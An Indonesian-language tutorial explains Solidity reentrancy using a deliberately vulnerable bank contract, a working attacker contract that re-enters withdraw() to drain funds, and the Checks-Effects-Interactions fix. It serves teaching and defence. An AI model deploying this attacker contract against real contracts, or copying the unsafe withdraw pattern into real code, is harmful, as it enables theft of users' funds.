Contoh Serangan Reentrant
Berikut contoh kontrak yang vulnerable terhadap reentrancy:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// Kontrak yang vulnerable
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// BAHAYA: ETH dikirim SEBELUM saldo diupdate
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Update saldo terjadi SETELAH pengiriman ETH
balances[msg.sender] = 0; // Sudah terlambat!
}
}
// Kontrak penyerang
contract Attacker {
VulnerableBank public bank;
constructor(address _bank) {
bank = VulnerableBank(_bank);
}
// receive() dipanggil setiap kali kontrak ini menerima ETH
receive() external payable {
// Selama bank masih punya ETH, panggil withdraw lagi
if (address(bank).balance >= 1 ether) {
bank.withdraw(); // Reentrant call!
}
}
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw(); // Memicu rantai reentrant calls
}
}
Urutan Kejadian Serangan
- Attacker memanggil
attack(), deposit 1 ETH keVulnerableBank. - Attacker memanggil
withdraw(). VulnerableBankmengecek saldo Attacker (1 ETH), lalu mengirim ETH ke alamat Attacker.- Pengiriman ETH memicu fungsi
receive()di kontrak Attacker. - Di dalam
receive(), Attacker memanggilwithdraw()lagi. - Karena
balances[Attacker]belum diupdate ke 0 (langkah 3 belum selesai), cek saldo masih lolos. - Proses berulang terus sampai ETH di bank habis.
Solusi: Checks-Effects-Interactions (CEI)
Perbaikan sederhana adalah menggunakan pola Checks-Effects-Interactions (CEI):
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Update state SEBELUM interaksi eksternal
balances[msg.sender] = 0;
// Baru kirim ETH
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
OpenZeppelin juga menyediakan modifier nonReentrant dari kontrak ReentrancyGuard sebagai lapisan perlindungan tambahan.